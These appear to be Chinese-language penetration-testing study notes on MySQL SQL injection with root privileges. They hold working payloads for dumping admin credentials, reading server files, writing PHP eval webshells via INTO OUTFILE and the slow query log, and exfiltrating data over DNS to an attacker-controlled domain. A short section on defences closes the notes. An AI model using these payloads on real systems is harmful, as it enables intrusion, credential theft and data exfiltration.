SQL注入高权限进阶核心笔记

一、核心前提:注入本质与权限差异

1. 注入本质

应用SQL语句存在**未过滤可控变量**,导致可拼接恶意代码与数据库直接交互。

2. 权限核心差异(MySQL

- root高权限:跨库查询所有库(含information_schemamysql系统库)、支持`load_file()`读文件/`into outfile`写文件、可操作全局变量。

普通权限:仅能操作授权库、默认无文件读写权限、无法跨库。

权限判定:`select user()`查当前用户;`select file_priv from mysql.user`查文件权限。

二、高权限核心利用(跨库+文件读写)

1. 跨库查询(root专属)

核心流程(查库数据)

1. 查所有数据库:

```sql

'union select schema_name,2,3 from information_schema.schemata#

```

2. 查指定库表名(如aicms库):

```sql

'union select table_name,2,3 from information_schema.tables where table_schema='aicms'#

```

3. 查表列名(如wolive_admin表):

```sql

'union select column_name,2,3 from information_schema.columns where table_name='wolive_admin'#

```

4. 查敏感数据:

```sql

'union select username,password,3 from aicms.wolive_admin#

```

实战价值

同服务器多站点可横向渗透(A站注入拿B站数据)。

2. 文件读写(高危,需root+FILE权限)

1)关键函数与条件

读文件:`load_file('绝对路径')`,可读配置/源码/敏感文件。

写文件:`into outfile`/`into dumpfile`,可写Webshell(一句话木马)。

核心限制(secure_file_priv**

 空值:无限制,任意目录读写。

 - NULL:禁用所有文件读写(高版本默认)。

 指定路径:仅该目录可读写。

查限制:`show variables like 'secure_file_priv'`

2)实战操作

读文件示例:

```sql

'union select load_file('C:\\windows\\system32\\drivers\\etc\\hosts'),2,3#

```

- **Webshell示例(16进制绕过引号)**

```sql

'union select 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,2,3 into outfile 'D:\\www\\shell.php'#

```

网站路径获取:报错泄露、读中间件配置(httpd.conf)、爆破常见路径(/var/www/htmlD:/phpstudy/www)。

三、无回显突破:DNS带外注入

1. 原理

数据不回显时,利用`load_file()`触发DNS请求,将数据外带到攻击者可控域名(如xxx.yutu.eu.org)。

2. 核心Payload

查数据库名:

```sql

'union select load_file(concat('\\',database(),'.xxx.yutu.eu.org\1.txt')),2,3#

```

查表名:

```sql

'union select load_file(concat('\\',(select table_name from information_schema.tables where table_schema='news' limit 0,1),'.xxx.yutu.eu.org\1.txt')),2,3#

```

3. 条件

目标服务器可出网DNS、当前用户有`load_file()`权限。

四、权限绕过:secure_file_priv限制突破

1. 慢查询日志写马(需SUPER权限)

1. 启用慢查询日志:`set global slow_query_log=1`

2. 设置日志路径为Web目录:`set global slow_query_log_file='D:\\www\\shell.php'`

3. 写入木马:`select '<?php @eval($_POST[cmd]);?>'`

4. 访问日志文件触发木马。

2. 前提

有后台SQL执行权限/phpMyAdmin、获取数据库root账号密码(mysql.user表,5.7+字段为authentication_string)。

五、防御核心(最小权限原则)

1. 应用连接数据库禁用root,仅授权必要库权限。

2. 配置`secure_file_priv=NULL`,禁用文件读写。

3. 关闭全局变量修改权限(禁止SUPER/FILE权限)。

4. 代码层用参数化查询,彻底杜绝注入。